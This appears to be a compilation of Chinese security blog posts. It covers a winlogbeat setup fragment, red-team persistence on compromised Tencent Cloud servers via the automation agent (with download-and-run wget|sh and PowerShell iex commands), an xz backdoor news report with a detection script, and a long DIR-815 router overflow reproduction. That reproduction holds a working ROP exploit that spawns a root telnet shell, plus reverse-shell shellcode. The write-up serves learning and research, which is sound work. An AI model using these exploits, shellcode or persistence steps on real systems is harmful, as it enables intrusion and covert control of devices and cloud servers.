Note that the settings should point to your Elasticsearch *monitoring* cluster. # Any setting that is not set is automatically inherited from the Elasticsearch # output configuration, so if you have the Elasticsearch output configured such # that it is pointing to your Elasticsearch monitoring cluster, you can simply # uncomment the following line. #monitoring.elasticsearch: # ============================== Instrumentation =============================== # Instrumentation support for the winlogbeat. #instrumentation:   # Set to true to enable instrumentation of winlogbeat.   #enabled: false   # Environment in which winlogbeat is running on (eg: staging, production, etc.)   #environment: ""   # APM Server hosts to report instrumentation results to.   #hosts:   # - http://localhost:8200   # API Key for the APM Server(s).   # If api_key is set then secret_token will be ignored.   #api_key:   # Secret token for the APM Server(s).   #secret_token: # ================================= Migration ================================== # This allows to enable 6.7 migration aliases #migration.6_to_7.enabled: true 数据检索 这时候,可能elastic上面搜不到数据,是因为winlogbeat使用了他自己的索引,默认为winlogbeat-version,笔者测试时,发现kibana上迟迟出现不了该索引,还以为数据传输没成功呢,因此通过如下手段进行排查,先获取es上面的索引信息: http://your_ip:9200/_cat/indices?v 发现有类似winlogbeat的索引信息: yellow open   .ds-winlogbeat-8.12.0-2024.02.03-000001   UpWhWCpdR-2WgMVe_kiH9A   1   1     192705           0   131.1mb       131.1mb 后面尝试在kibana上创建一个新的索引即可,v7.17.12版本的kibana创建索引的过程如下:discover->选项->View Discover settings 找到“索引模式”创建一个新的索引即可: 这时候就可以检索事件管理器日志了:
腾讯云(CVM)托管进行权限维持
前言 刚好看到一个师傅分享了一个阿里云ECS实战攻防,然后想到了同样利用腾讯云CVM的托管亦可实现在实战攻防中的权限维持。 简介 腾讯云自动化助手(TencentCloud Automation Tools,TAT)是一个原生运维部署工具,它可以在不登录或输入密码的情况下,实现对云服务器 CVM 和轻量应用服务器 Lighthouse 的自动化远程操作。该工具支持批量执行命令,包括 Shell、PowerShell 及 Python 等,能够完成一系列自动化运维任务,如运行自动化脚本、轮询进程、安装/卸载软件、更新应用及安装补丁等。这样的便利性使得企业可以更加高效地管理和维护其云服务器和轻量应用服务器,从而提高其云计算服务的可靠性和安全性。 应用场景 上传并运行自动化运维脚本 执行常见操作任务 运行已保存的脚本 托管实例 控制台->自动化助手->托管实例 权限维持 使用默认数值即可,默认值的阈值设定和阿里云的一致 实例创建成功后,可在客户端执行命令 Linux命令 sudo wget -qO - https://xxxxxxxxx.cos.accelerate.myqcloud.com/tat_agent/tat_agent_register.sh | sudo sh -s -- ap-guangzhou b3ec8e08-d73a-40d8-83c4-7308101b00b6 be131e221d1749a6860a4e3a6e1b37415f1c867f2646436abb67e0998fa24883 Windows iex "& { $((New-Object System.Net.WebClient).DownloadString('https://xxxxxxxxx.cos.accelerate.myqcloud.com/tat_agent/tat_agent_register.ps1')) } ap-guangzhou b3ec8e08-d73a-40d8-83c4-7308101b00b6 be131e221d1749a6860a4e3a6e1b37415f1c867f2646436abb67e0998fa24883" 执行命令后发现实例可托管成功,但是是离线状态 宿主服务器安装自动化助手客户端 root@ubuntu:/home/ubuntu# sudo wget -qO - https://xxxxxxxxx.cos-internal.accelerate.tencentcos.cn/tat_agent/tat_agent_installer.sh | sudo sh 查看探针状态 ps -ef | grep tat_agent 命令后,查看进程状态。如果进程不存在 /usr/local/qcloud/tat_agent/tat_agent   // 启动进程 其实这里的客户端的探针类似于监听状态,一直在线,托管服务器执行命令上线 执行命令 执行结果 执行时长48秒 文件上传 文件上传权限等均可自定义。 小结 可以明显发现执行时效性不是很流畅,但是优点儿在于: 托管权限维持稳定 文件上传方便以及文件权限方便
liblzma/xz被植入后门,过程堪比谍战片!
事件概述 xz是一种几乎存在于所有Linux发行版中的通用数据压缩格式。从5.6.0版本开始,在xz的上游tarball包中被发现了恶意代码,通过一系列复杂的混淆手段,liblzma的构建过程从伪装成测试文件的源代码中提取出预构建的目标文件,然后用它来修改liblzma代码中的特定函数。这导致生成了一个被修改过的liblzma库,任何链接此库的软件都可能使用它,从而拦截并修改与此库的数据交互。 3月29日,微软PostgreSQL开发人员Andres Freund在调试SSH性能问题时,在开源安全邮件列表中发帖称,他在XZ软件包中发现了一个涉及混淆恶意代码的供应链攻击。据Freund和RedHat称,Git版XZ中没有恶意代码,只有完整下载包中存在。但是这个代码的提交人两年前就加入了项目维护,暂时不能确定之前的版本有没有问题。 xz 5.6.0和5.6.1版本库中存在的恶意注入只包含在tarball下载包中。Git发行版中缺少触发恶意代码构建的M4宏。注入期间构建时使用的第二阶段工件存在于Git存储库中,以防存在恶意的M4宏。如果不合并到构建中,第二阶段文件是无害的。在发现者的演示中,发现它干扰了OpenSSH守护进程。虽然OpenSSH没有直接链接到liblzma库,但它以一种使其暴露于恶意软件的方式与systemd通信,而systemd链接到了liblzma。恶意构建会通过systemd干扰sshd的认证。在一定的情况下,这种干扰有可能使恶意行为体破坏ssh认证,并远程未经授权访问整个系统。 截至日前(3月30日),暂未观察到利用此后门代码的行为。 影响的系统范围 xz和liblzma 5.6.0~5.6.1 版本,可能包括的发行版 / 包管理系统有: Fedora 41 / Fedora Rawhide Debian Sid Alpine Edge x64 架构的 homebrew 滚动更新的发行版,包括 Arch Linux / OpenSUSE Tumbleweed 如果你的系统使用systemd 启动 OpenSSH 服务,你的 SSH 认证过程可能被攻击。非x86-64 架构的系统不受影响。 if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnuquot; > /dev/null 2>&1);then 你可以在命令行输入xz --version来检查xz 版本,如果输出为5.6.0或5.6.1 ,说明你的xz-utils已被植入后门。 $ xz --version xz (XZ Utils) 5.6.1 liblzma 5.6.1 目前迹象表明,后门作者有选择性的针对linux 发行版下手。但这个liblzma 可不只Linux上用。比如目前流行的iOS越狱环境,大部分tweak 包还是以.deb 格式发行,比较新的版本就用到了lzma 作为压缩。除此之外,近期有在 macOS上使用brew 安装过xz 这个包也受影响,暂时不能证明有恶意行为: 过程精彩如谍战片 这可能是最大胆的信息安全事件之一。“最大胆”表明这起事件在手法、规模、影响等方面都超出了我们以往对于攻击的认知,可能是一个全新的安全威胁模型。 "最大胆"一词还隐含着对攻击者心理和技术实力的一种评价。做出如此"大胆"之举的,肯定是心理素质极强、技术水平极高、准备极其缜密的黑客团伙,绝非一般的脚本小子可以企及。 1、一个不知名团伙注意到OpenSSH依赖一个名为liblzma(xz)的小众开源压缩库。 2、他们虚构了一个名为"Jia Tan"的开发者身份,从2021年10月开始为xz项目积极做贡献,逐渐获得信任,并最终接管了维护工作。 3、2024年2月,"Jia"在构建脚本中引入了一个复杂隐蔽的后门,该后门似乎针对OpenSSH的身份验证前加密功能,可能添加了"主密钥"让攻击者随意访问受影响服务器。 4、 "Jia"联系Linux发行版维护者,试图让带后门的xz库被打包分发给用户,直到微软员工Andres Freund因调查SSH延迟问题发现了此事。 这可能是一次有外国政府支持的职业行动,而非业余爱好者所为。更根本的是,xz后门不是一个技术问题,可能也不能单靠技术来解决。归根结底,这是一个反情报挑战——完全属于政府和少数拥有生态系统范围监控能力的商业实体的能力范畴。这尤其包括谷歌和微软。事实上,这里有一个有趣的想法:也许他们已经知道了很长一段时间。我们能分辨出这是为了掩盖"手段和来源"而精心设计的披露,还是偶然发现的吗? 检测和解决方法 解决方法: 降级到5.6.0以下版本 更新到官方最新版5.6.4 检测脚本: #! /bin/bash set -eu # find path to liblzma used by sshd path="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')" # does it even exist? if [ "$path" == "" ] then echo probably not vulnerable exit fi # check for function signature if hexdump -ve '1/1 "%.2x"' "$path" | grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410 then echo probably vulnerable else echo probably not vulnerable fi
踏入IOT安全世界:DIR-815路由器多次溢出漏洞分析复现
前言 在进行IOT安全领域的学习和实践中,经典漏洞的复现是必不可少的一环。本文将介绍一个经典漏洞,涉及到Binwalk、firmware-mod-kit、FirmAE等工具的使用,以及对DIR-815路由器中多次溢出漏洞的复现过程。 固件下载地址:https://legacyfiles.us.dlink.com/DIR-815/REVA/FIRMWARE/ 这个漏洞属于经典范畴,很多人选择通过此漏洞进行IOT安全入门的学习与实践。我们将一起回顾这个经典漏洞,踏入IOT安全的世界,并对DIR-815路由器中的多次溢出漏洞进行复现。 根据报告显示,此漏洞主要源于COOKIE长度未被限制,导致COOKIE长度过长时引发栈溢出问题。在本文中,我们将提供exp和poc,需要注意的是,在我的本地环境中,如果使用973作为偏移量,则调试无法成功连接,但不进行调试则可以成功连接。然而,如果使用1007作为偏移量,则调试可以成功连接,但不进行调试则无法成功连接。这种情况可能与仿真环境相关,欢迎大家积极尝试并探索。 工具安装 我的环境是 Ubuntu 22.04.4 LTS x86_64 Binwalk 我们要安装这个工具用来给FirmAE调用: git clone https://github.com/ReFirmLabs/binwalk.git cd binwalk sudo python setup.py install firmware-mod-kit 首先安装依赖: sudo apt-get install git build-essential zlib1g-dev liblzma-dev python-magic 然后进行安装: git clone https://github.com/mirror/firmware-mod-kit.git cd firmware-mod-kit/src ./configure && make 可以进入https://github.com/mirror/firmware-mod-kit查看详细使用方法,本文不赘述。 FirmAE 我们需要安装FirmAE,和相关依赖进行固件仿真: git clone --recursive https://github.com/pr0v3rbs/FirmAE sudo pip3 install selenium 接着进入FirmAE目录运行: ./download.sh ./install.sh ./init.sh 随后,使用如下命令尝试是否能够仿真: sudo ./run.sh -c <brand> <firmware> 我们这篇文章的brand是d-link。如果成功仿真,使用如下命令进入仿真调试模式: sudo ./run.sh -d <brand> <firmware> 注意,仿真之后要输入2,进入shell之后运行如下命令关闭随机化,因为真机也是不开启的: echo "0" >> /proc/sys/kernel/randomize_va_space 基础知识 溢出漏洞 溢出漏洞是指由于缓冲区溢出等原因导致的内存溢出问题。这些漏洞可以让攻击者执行恶意代码,进而对路由器进行攻击和控制。 它可以使得黑客控制程序执行的pc,从而达到控制程序流的目的。要知道,pc可是指示程序下一条指令的地方!一旦攻击者成功控制了它,就能为所欲为了。 那么,如何利用栈溢出漏洞来控制程序执行呢?有两个常见的方法:shellcode和ROPchain。 首先,我们来说说shellcode。Shellcode是一段精心编写的机器码,通常用于执行特定的操作,比如获取系统特权或者执行其他恶意行为。攻击者可以通过溢出漏洞将shellcode注入到受影响的程序中,并控制程序执行,从而执行这段恶意代码。 另一种方法是使用ROPchain(Return-Oriented Programming)。ROPchain是一种利用已存在的代码片段(称为gadgets)来构建攻击代码的技术。攻击者可以通过溢出漏洞,将栈上的返回地址(Return Address)改写为指向这些gadgets的地址,然后利用这些gadgets的序列来实现特定的功能,比如执行系统调用或者跳转到其他函数。 所以,栈溢出漏洞非常危险,给了攻击者很大的控制力!要特别注意程序中的边界检查和缓冲区大小的限制,以避免这类漏洞的发生。在编程过程中,要时刻确保输入数据不会超出预期的范围,这样就能有效地防止栈溢出漏洞的利用。 HTTP协议 HTTP协议是一种用于传输超文本的协议,它由请求和响应组成。让我们来看一下HTTP请求的各个部分,分别是请求行、消息报头、请求正文。IoT安全当中传输信息,大多数需要HTTP协议来进行。 请求行 HTTP请求的第一行是请求行,它由三部分组成:请求方法、请求的资源路径(Request-URI)和HTTP协议的版本。格式如下: Method Request-URI HTTP-Version CRLF 例如: POST /registez.aspx HTTP/1.1 (CRLE) 消息报头 请求的消息报头包含了一系列的键值对,每个键值对由名字、冒号、空格和值组成。它们用于传递关于请求的额外信息。例如: Accept:image/gif 表示请求GIF图像格式的资源。 一个完整的请求消息报头可能包含多个键值对,像这样: GET /index.html HTTP/1.1 (CRLF) Accept:image/gif, image/x-xbitmap,*/* (CRLF) Accept-Language:zh-cn (CRLF) Accept-Encoding:gzip, deflate (CRLF) User-Rgent:Mozilla/4.0(compatible;MSIE6.0;Windows NT 5.0) (CRLF) Host:www.baidu.com (CRLF) Connection:Keep-Alive (CRLF) (CRLF) 请求正文 请求正文是可选的,它包含了请求的主体内容。它位于消息报头和消息主体之间的一个空行。请求正文可以包含各种数据,例如表单数据、JSON、XML等等。例如: Usernarme=admin&password=admin 实际上,请求正文可以包含更多内容,具体取决于请求的目的和需要。 我们在具体使用的时候,会使用python的相关库request或者http.client进行编程。 成因分析 Cookie来自char *getenv("HTTP_COOKIE")。 cgibin链接到其他的cgi的时候,此时cgibin里除了main,还会有别的cgi文件的main。 如本固件的hedwigcgi_main。 根据漏洞报告,搜索了HTTP_COOKIE字符串,找到相关函数sess_get_uid及其引用,这个函数有对uid的比较,分析得出COOKIE的数据组织形式是uid=payload。 int __fastcall sess_get_uid(int a1) {  int v2; // $s2  char *v3; // $v0  int v4; // $s3  char *v5; // $s4  int v6; // $s1  int v7; // $s0  char *string; // $v0  int result; // $v0  v2 = sobj_new();  v4 = sobj_new();  v3 = getenv("HTTP_COOKIE");  if ( !v2 )    goto LABEL_27;  if ( !v4 )    goto LABEL_27;  v5 = v3;  if ( !v3 )    goto LABEL_27;  v6 = 0;  while ( 1 ) {    v7 = *v5;    if ( !*v5 )      break;    if ( v6 == 1 )      goto LABEL_11;    if ( v6 < 2 )   {      if ( v7 == ' ' )        goto LABEL_18;      sobj_free(v2);      sobj_free(v4); LABEL_11:      if ( v7 == 59 )     {        v6 = 0;     }      else     {        v6 = 2;        if ( v7 != 61 )       {          sobj_add_char(v2, v7);          v6 = 1;       }     }      goto LABEL_18;   }    if ( v6 == 2 )   {      if ( v7 == 59 )     {        v6 = 3;        goto LABEL_18;     }      sobj_add_char(v4, *v5++);   }    else   {      v6 = 0;      if ( !sobj_strcmp(v2, "uid") )        goto LABEL_21; LABEL_18:      ++v5;   } }  if ( !sobj_strcmp(v2, "uid") ) { LABEL_21:    string = sobj_get_string(v4);    goto LABEL_22; } LABEL_27:  string = getenv("REMOTE_ADDR"); LABEL_22:  result = sobj_add_string(a1, string);  if ( v2 )    result = sobj_del(v2);  if ( v4 )    return sobj_del(v4);  return result; } 如果FirmAE无法直接解压固件,可以用fmk解压以后再压缩为tar.gz交给FirmAE。 FirmAE如果出现文件依然存在的情况,使用如下方案: sudo ip link set ${TAPDEV_0} sudo tunctl -d ${TAPDEV_0} 将其停止,可以重新启动仿真。 调试方法 仿真成功后,进入FirmAE进行如下输入——进入shell,查询http服务的进程号: ------------------------------ |       FirmAE Debugger     | ------------------------------ 1. connect to socat 2. connect to shell 3. tcpdump 4. run gdbserver 5. file transfer 6. exit > 2 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. / # ps | grep "httpd" 2387 root      1564 S   httpd -f /var/run/httpd.conf 8421 root       656 S    grep httpd / # Connection closed by foreign host. 随后输入进程号(此处是2387)启用gdb-server: ------------------------------ |       FirmAE Debugger     | ------------------------------ 1. connect to socat 2. connect to shell 3. tcpdump 4. run gdbserver 5. file transfer 6. exit > 4 641 root      1684 S   /firmadyne/sh /firmadyne/network.sh  643 root      1676 S   /firmadyne/sh /firmadyne/debug.sh  647 root      1680 S   /firmadyne/busybox telnetd -p 31338 -l /firmadyne/sh  648 root      1668 S   /firmadyne/busybox sleep 36000  649 root      1676 S   /firmadyne/sh  779 root       892 S   portt -c DNAT.PORTT 1300 root      1044 S   udhcpc -i eth3 -H dlinkrouter -p /var/servd/WAN-1-udh 1663 root       904 S   updatewifistats -i rai0 -x /phyinf:3 -r /runtime/phyi 1737 root       904 S   updatewifistats -i ra0 -x /phyinf:4 -r /runtime/phyin 2096 root       908 S   neaps -i br0 -c /var/run/neaps.conf 2108 root       884 S   netbios -i br0 -r dlinkrouter 2109 root       900 S   llmnresp -i br0 -r dlinkrouter 2156 root      1068 S   udhcpd /var/servd/LAN-1-udhcpd.conf 2351 root      1040 S   dnsmasq -C /var/servd/DNS.conf 2387 root      1568 S   httpd -f /var/run/httpd.conf 11504 root      1668 S   /firmadyne/busybox sleep 5 11553 root       660 R    ps PID USER       VSZ STAT COMMAND    1 root       656 S   init    2 root         0 SW   [kthreadd]    3 root         0 SW   [ksoftirqd/0]    4 root         0 SW   [kworker/0:0]    5 root         0 SW< [kworker/0:0H]    6 root         0 SW   [kworker/u2:0]    7 root         0 SW< [khelper]    8 root         0 SW   [khungtaskd]    9 root         0 SW< [writeback]   10 root         0 SWN [ksmd]   11 root         0 SW< [crypto]   12 root         0 SW< [bioset]   13 root         0 SW< [kblockd]   14 root         0 SW< [ata_sff]   15 root         0 SW< [cfg80211]   16 root         0 SW   [kworker/0:1]   17 root         0 SW   [kswapd0]   18 root         0 SW   [fsnotify_mark]   35 root         0 SW   [scsi_eh_0]   36 root         0 SW< [scsi_tmf_0]   37 root         0 SW   [scsi_eh_1]   38 root         0 SW< [scsi_tmf_1]   41 root         0 SW   [kworker/u2:3]   44 root         0 SW< [kpsmoused]   45 root         0 SW< [ipv6_addrconf]   46 root         0 SW< [defe [+] target pid : 2387 [+] gdbserver at 192.168.0.1:1337 attach on 2387 [+] run "target remote 192.168.0.1:1337" in host gdb-multiarch 宿主机保存如下脚本准备使用: set architecture mips set follow-fork-mode child set detach-on-fork off b _start #catch exec #这里去掉注释,就能够在对应的cgi文件停下 target remote 192.168.0.1:1337 假如保存为了gdb_script,那么在开启gdb-server以后使用如下命令进入调试: gdb-multiarch -x gdb_script POC编写 定位到漏洞点应该在下面的sprintf处,由char v27[1024]可以知道,溢出至少要1024的数据。源码如下。 int hedwigcgi_main() {  char *v0; // $v0  const char *v1; // $a1  FILE *v2; // $s0  int v3; // $fp  int v4; // $s5  int v5; // $v0  char *string; // $v0  FILE *v7; // $s2  int v8; // $v0  int v9; // $s7  int v10; // $v0  int *v11; // $s1  int i; // $s3  char *v13; // $v0  const char **v14; // $s1  int v15; // $s0  char *v16; // $v0  const char **v17; // $s1  int v18; // $s0  int v19; // $v0  char *v20; // $v0  char v22[20]; // [sp+18h] [-4A8h] BYREF  char *v23; // [sp+2Ch] [-494h] BYREF  char *v24; // [sp+30h] [-490h]  int v25[3]; // [sp+34h] [-48Ch] BYREF  char v26[128]; // [sp+40h] [-480h] BYREF  char v27[1024]; // [sp+C0h] [-400h] BYREF  memset(v27, 0, sizeof(v27));  memset(v26, 0, sizeof(v26));  strcpy(v22, "/runtime/session");  v0 = getenv("REQUEST_METHOD");  if ( !v0 ) {    v1 = "no REQUEST"; LABEL_7:    v3 = 0;    v4 = 0; LABEL_34:    v9 = -1;    goto LABEL_25; }  if ( strcasecmp(v0, "POST") ) {    v1 = "unsupported HTTP request";    goto LABEL_7; }  cgibin_parse_request(sub_409A6C, 0, 0x20000);  v2 = fopen("/etc/config/image_sign", "r");  if ( !fgets(v26, 128, v2) ) {    v1 = "unable to read signature!";    goto LABEL_7; }  fclose(v2);  cgibin_reatwhite(v26);  v4 = sobj_new();  v5 = sobj_new();  v3 = v5;  if ( !v4 || !v5 ) {    v1 = "unable to allocate string object";    goto LABEL_34; }  sess_get_uid(v4);  string = sobj_get_string(v4);  sprintf(v27, "%s/%s/postxml", "/runtime/session", string);  xmldbc_del(0, 0, v27);  v7 = fopen("/var/tmp/temp.xml", "w");  if ( !v7 ) {    v1 = "unable to open temp file.";    goto LABEL_34; }  if ( !haystack ) {    v1 = "no xml data.";    goto LABEL_34; }  v8 = fileno(v7);  v9 = lockf(v8, 3, 0);  if ( v9 < 0 ) {    printf(      "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>BUSY</result><message>%s</message></hedwig>",      0);    v9 = 0;    goto LABEL_26; }  v10 = fileno(v7);  lockf(v10, 1, 0);  v23 = v26;  v24 = 0;  memset(v25, 0, sizeof(v25));  v24 = strtok(v22, "/");  v11 = v25;  for ( i = 2; ; ++i ) {    v13 = strtok(0, "/");    *v11++ = (int)v13;    if ( !v13 )      break; } (&v23)[i] = sobj_get_string(v4);  fputs("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n", v7);  v14 = (const char **)&v23;  v15 = 0;  do {    ++v15;    fprintf(v7, "<%s>\n", *v14++); }  while ( v15 < i + 1 );  v16 = strstr(haystack, "<postxml>");  fprintf(v7, "%s\n", v16);  v17 = (const char **)&(&v23)[i];  v18 = i + 1;  do {    --v18;    fprintf(v7, "</%s>\n", *v17--); }  while ( v18 > 0 );  fflush(v7);  xmldbc_read(0, 2, "/var/tmp/temp.xml");  v19 = fileno(v7);  lockf(v19, 0, 0);  fclose(v7);  remove("/var/tmp/temp.xml");  v20 = sobj_get_string(v4);  sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);  xmldbc_ephp(0, 0, v27, stdout);  if ( v9 ) {    v1 = 0; LABEL_25:    printf(      "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>",      v1); } LABEL_26:  if ( haystack )    free(haystack);  if ( v3 )    sobj_del(v3);  if ( v4 )    sobj_del(v4);  return v9; } 构造poc如下: import http.client # 创建HTTP连接 conn = http.client.HTTPConnection("192.168.0.1") # 设置请求头 headers = {    'Content-Length': '21',    'accept-Encoding': 'deflate',    'Connection': 'close',    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',    'Host': '192.168.0.1',    'Cookie': 'uid='+'a'*0x500,    'Content-Type': 'application/x-www-form-urlencoded' } # 发送POST请求 conn.request("POST", "/hedwig.cgi", body="password=123&bid=3Rd4", headers=headers) # 获取响应 response = conn.getresponse() # 打印响应状态码和响应内容 print(response.status, response.read().decode()) # 关闭连接 conn.close() 成功覆盖pc如下。 EXP编写 ROPchain_system(cmd) 接下来编写exp。 cyclic可以这么使用: >>> cyclic(0x100) b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac' >>> cyclic_find("cjaa") 235 >>> 从而轻松找到偏移。 我们修改一下poc如下,设置了payload,用如上方法找到偏移: import http.client from evilblade import * # 创建HTTP连接 conn = http.client.HTTPConnection("192.168.0.1") payload = cyclic(0x500).decode() # 设置请求头 headers = {    'Content-Length': '21',    'accept-Encoding': 'deflate',    'Connection': 'close',    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',    'Host': '192.168.0.1',    'Cookie': 'uid='+payload,    'Content-Type': 'application/x-www-form-urlencoded' } # 发送POST请求 conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers) # 获取响应 response = conn.getresponse() # 打印响应状态码和响应内容 print(response.status, response.read().decode()) # 关闭连接 conn.close() 得到段错误如下。 找偏移:(注意,此处导入pwntools也是一样的,这只是我自己写的封装库) >>> from evilblade import * >>> cyclic_find("klaa") 1043 >>> 再次修改poc确认偏移,成功控制返回地址。修改如下: import http.client from evilblade import * # 创建HTTP连接 conn = http.client.HTTPConnection("192.168.0.1") payload = b'a'*1043+b"rlok" #前面1043个偏移,后面是rlok作为返回地址 payload = payload.decode() # 设置请求头 headers = {    'Content-Length': '21',    'accept-Encoding': 'deflate',    'Connection': 'close',    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',    'Host': '192.168.0.1',    'Cookie': 'uid='+payload,    'Content-Type': 'application/x-www-form-urlencoded' } # 发送POST请求 conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers) # 获取响应 response = conn.getresponse() # 打印响应状态码和响应内容 print(response.status, response.read().decode()) # 关闭连接 conn.close() 结果如下,成功控制pc。 我们发现路由器里有telnetd服务,这样只要执行system("telnetd"),就可以在宿主机运行telnet 192.168.0.1getshell了。其中a0就是第一个参数。 我们看看MIPS的寄存器作用: ROPgadget --binary libuClibc-0.9.30.1.so | grep --color=auto "addiu \$s5, \$sp," 用上述命令,找到下面的gadget: 0x000159cc : addiu $s5, $sp, 0x10 ; move $a1, $s3 ; move $a2, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a0, $s5 这样的情况,我们只要控制$sp + 0x10的位置是命令,并且s0是返回地址即可。 我们再次使用cyclic确定偏移,得到: *S0   0x6161636b ('kcaa') 也就是 >>> cyclic_find("kcaa") 1007 s0往后就是s1,s2以此类推。 不过我们遇到了一个新的问题,那就是system的地址偏移是0x53200,是以00为结尾的,我们需要绕过。我尝试过用0x531fc,这里是nop,但是由于$t9的值不正确,所以后面的变量会错误,导致程序无法正常运行,那么我们只能另寻出路。 这里我们要用到一个技巧: 由于现代处理器采用流水线执行指令的方式,在执行jalr指令时,下一条指令可能已经被预取和解码,并开始执行。因此,即使jalr指令改变了程序计数器的值,下一条指令也可能在当前指令被执行的同时开始执行。 也就是说,执行jalr的同时,下一个指令也会执行。 我们用这个指令: ROPgadget --binary libuClibc-0.9.30.1.so | grep --color=auto "move \$t9, \$s5 ; jalr \$t9 ; addiu \$s0" 找到gadget: 0x000158c8 : move $t9, $s5 ; jalr $t9 ; addiu $s0, $s0, 1 他会在跳转到$s5的同时,将s0+1,也就是说我们传入偏移为0x531ff即可,且$t9不会受到任何影响! 于是我们构造了如下的情况: 首先在s0传入system-1的地址,s5传入了0x000159cc的gadget。溢出之后,首先返回到s5的地址,同时,s0++,变为system的地址。此时执行第二个gadget,将"telnetd"传入s5,并且跳转到$s0也就是system,同时s5被赋值到a0也就是第一个参数,成功执行system("telnetd -l /bin/sh -p 55557")。设置端口是担心原本的被占用了。 如图,成功。 附exp: import http.client from evilblade import * set("./cgibin") # 创建HTTP连接 conn = http.client.HTTPConnection("192.168.0.1") ## XOR $t0, $t0, $t0,相当于 nop,因为nop是\x00不能发送,会被sprintf截断 nop = "\x26\x40\x08\x01" #libc基地址 libc = 0x77f34000 #gadget gadget = 0x159cc+libc gadget2 = libc+0x158c8 print(p32(gadget)) print(p32(gadget2)) sys = libc + 0x531ff print(p32(sys)) dx(sys) sys_ = '\xffq\xf8w' gad_sp = "\xcc\x99\xf4w" gad_to_s5 = "\xc8\x98\xf4w" payload = cyclic(973).decode() + sys_ + "cccc"  + gad_sp*7 + gad_to_s5  + "dddd"*4 + "telnetd -l /bin/sh -p 55557 & ls & " # 设置请求头 headers = { 'Content-Length': '21', 'accept-Encoding': 'deflate', 'Connection': 'close',    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',    'Host': '192.168.0.1',    'Cookie': 'uid='+payload,    'Content-Type': 'application/x-www-form-urlencoded' } # 发送POST请求 conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers) # 获取响应 response = conn.getresponse() # 打印响应状态码和响应内容 print(response.status, response.read().decode()) # 关闭连接 conn.close() shellcode 使用网站进行汇编转字节码:https://shell-storm.org/online/Online-Assembler-and-Disassembler/ 第一步:socket(2,1,0) 在socket()系统调用中,参数的含义如下: 第一个参数:套接字的域(domain)。对于IPv4网络套接字,通常使用AF_INET或者PF_INET,其值为2。 第二个参数:套接字的类型(type)。常见的套接字类型包括SOCK_STREAM(流套接字,用于TCP)和SOCK_DGRAM(数据报套接字,用于UDP)。 第三个参数:协议(protocol)。通常情况下,如果域和类型已经指定了,协议参数可以设为0,让操作系统自动选择合适的协议。在这里,值为0。 socket(2,2,0)的意思是创建一个IPv4的UDP套接字。 如下: addiu  a0, zero, 2 addiu  a1, zero, 2 addiu  a3, zero, 0 addiu  v0, zero, 0x1057 syscall 0x40404 为了绕过\x00限制改为: li $a0, 0x222 addi $a0,-0x220 li $a1, 0x222 addi $a1,-0x220 li $a2, 0x222 addi $a2,-0x222 li $v0, 0x1057 syscall 0x40404 得到: "\x22\x02\x04\x24\xe0\xfd\x84\x20\x22\x02\x05\x24\xe0\xfd\xa5\x20\x22\x02\x06\x24\xde\xfd\xc6\x20\x57\x10\x02\x24\x0c\x01\x01\x01" 存入栈: sw $v0,480($sp) 得到: "\xe0\x01\xa2\xaf" 第二步: dup2(socket_obj,0) dup2(socket_obj,1) dup2(socket_obj,2) 将标准输入输出错误流重定向到sock对象。 如下: lw $a0,480($sp);           li $a1, 0x222 addi $a1,-0x222 li $v0,4063 syscall 0x40404         li $a1, 0x222 addi $a1,-0x221 li $v0,4063 syscall 0x40404         li $a1, 0x223 addi $a1,-0x221 li $v0,4063 syscall 0x40404 得到: "\xe0\x01\xa4\x8f\x22\x02\x05\x24\xde\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x22\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x23\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01" 第三步,执行int connect(int sockfd, const **struct** sockaddr *addr,socklen_t addrlen); lw $a0,480($sp) addiu $a2,$zero,0x111 addi $a2,-0x101 lui $t6,0xbe15 ori $t6,$t6,0x0203     addi $t6, -0x0201 sw $t6,468($sp) //这里是端口,可以自己更改 lui $t7,0x0302 ori   $t7, $t7, 0xa9c1 addi $t7, $t7, -0x01020101 //这里是ip地址,可以自己更改 sw $t7,472($sp)                     la $a1,468($sp)               addiu $v0,$zero,4170     syscall 0x40404 